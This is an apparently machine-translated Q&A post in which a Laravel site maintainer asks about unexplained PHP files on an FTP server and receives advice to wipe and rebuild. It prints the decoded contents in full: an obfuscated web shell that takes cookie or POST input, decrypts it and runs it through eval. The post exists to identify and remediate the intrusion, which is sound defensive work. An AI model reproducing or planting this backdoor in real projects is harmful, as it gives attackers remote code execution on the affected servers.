php - 看起来可疑的文件突然出现在 FTP 服务器上
问题描述
对于一个客户,我正在维护一小群用 PHP Laravel 构建的网站。最近在处理这些问题时,我发现了一些新的可疑文件,它们突然出现在两个网站的 FTP 服务器上。这些文件最初不是代码库的一部分,我不知道它们是从哪里来的。一共有三个文件,分别命名为,b3lo5x3x.php
它们位于网站的根目录下。cache.php
plugin.php
文件的内容看起来很令人不安。在unphp.net上解码时,我得到以下结果,这与所有三个文件完全相同。所有三个文件的大小也相同。
<?php
$hguenpg = '8v7n\'kadeH62ycg_ti9pm1-fsb0#rxlu4*o';
$fvgiv = Array();
$fvgiv[] = $hguenpg[18] . $hguenpg[11] . $hguenpg[0] . $hguenpg[0] . $hguenpg[26] . $hguenpg[11] . $hguenpg[21] . $hguenpg[0] . $hguenpg[22] . $hguenpg[10] . $hguenpg[7] . $hguenpg[13] . $hguenpg[11] . $hguenpg[22] . $hguenpg[32] . $hguenpg[6] . $hguenpg[23] . $hguenpg[8] . $hguenpg[22] . $hguenpg[0] . $hguenpg[32] . $hguenpg[6] . $hguenpg[25] . $hguenpg[22] . $hguenpg[13] . $hguenpg[32] . $hguenpg[7] . $hguenpg[21] . $hguenpg[18] . $hguenpg[11] . $hguenpg[25] . $hguenpg[2] . $hguenpg[7] . $hguenpg[0] . $hguenpg[23] . $hguenpg[2];
$fvgiv[] = $hguenpg[9] . $hguenpg[33];
$fvgiv[] = $hguenpg[27];
$fvgiv[] = $hguenpg[13] . $hguenpg[34] . $hguenpg[31] . $hguenpg[3] . $hguenpg[16];
$fvgiv[] = $hguenpg[24] . $hguenpg[16] . $hguenpg[28] . $hguenpg[15] . $hguenpg[28] . $hguenpg[8] . $hguenpg[19] . $hguenpg[8] . $hguenpg[6] . $hguenpg[16];
$fvgiv[] = $hguenpg[8] . $hguenpg[29] . $hguenpg[19] . $hguenpg[30] . $hguenpg[34] . $hguenpg[7] . $hguenpg[8];
$fvgiv[] = $hguenpg[24] . $hguenpg[31] . $hguenpg[25] . $hguenpg[24] . $hguenpg[16] . $hguenpg[28];
$fvgiv[] = $hguenpg[6] . $hguenpg[28] . $hguenpg[28] . $hguenpg[6] . $hguenpg[12] . $hguenpg[15] . $hguenpg[20] . $hguenpg[8] . $hguenpg[28] . $hguenpg[14] . $hguenpg[8];
$fvgiv[] = $hguenpg[24] . $hguenpg[16] . $hguenpg[28] . $hguenpg[30] . $hguenpg[8] . $hguenpg[3];
$fvgiv[] = $hguenpg[19] . $hguenpg[6] . $hguenpg[13] . $hguenpg[5];
foreach ($fvgiv[7]($_COOKIE, $_POST) as $lfpfzw => $wqudv) {
function dgubnv($fvgiv, $lfpfzw, $nclll) {
return $fvgiv[6]($fvgiv[4]($lfpfzw . $fvgiv[0], ($nclll / $fvgiv[8]($lfpfzw)) + 1), 0, $nclll);
}
function oocfo($fvgiv, $elasr) {
return @$fvgiv[9]($fvgiv[1], $elasr);
}
function yiugt($fvgiv, $elasr) {
$vezpr = $fvgiv[3]($elasr) % 3;
if (!$vezpr) {
eval($elasr[1]($elasr[2]));
exit();
}
}
$wqudv = oocfo($fvgiv, $wqudv);
yiugt($fvgiv, $fvgiv[5]($fvgiv[2], $wqudv ^ dgubnv($fvgiv, $lfpfzw, $fvgiv[8]($wqudv))));
} ?>
有谁知道这可能是什么?会不会是 FTP 服务器感染了某种恶意软件或黑客工具?
解决方案
彻底擦拭受影响的机器。您需要将 Laravel 项目重新安装到新的干净机器上。如果可能,您还应该审核它们以及使用的任何其他软件。
确保服务器上的所有软件也已更新。您很可能是通过具有已知漏洞的未更新软件而受到损害的。
推荐阅读
- javascript - 制作 HTML5 视频的 YouTube iframe 音频
- python - 在 Python 中同时执行一组昂贵的任务
- vhdl - 如何在 VHDL 中为标准逻辑创建布尔数据类型
- c++ - C++ 令牌处理程序
- ios - 使用模拟器测试 CarPlay 音频
- azure - 当所有链接的子工作项满足特定条件时更改 Azure DevOps 父工作项状态?
- php - 格式为 YYYYMMDDTHHiiss 的两个日期之间的差异
- excel - VBA将值输入循环内过滤数据的前X个可见单元格
- c# - .NET Core 控制台应用程序 - 未在运行时设置适当的基于 appsettings 的环境变量
- android - 更改列表排序时,Android Compose LazyColum 渲染问题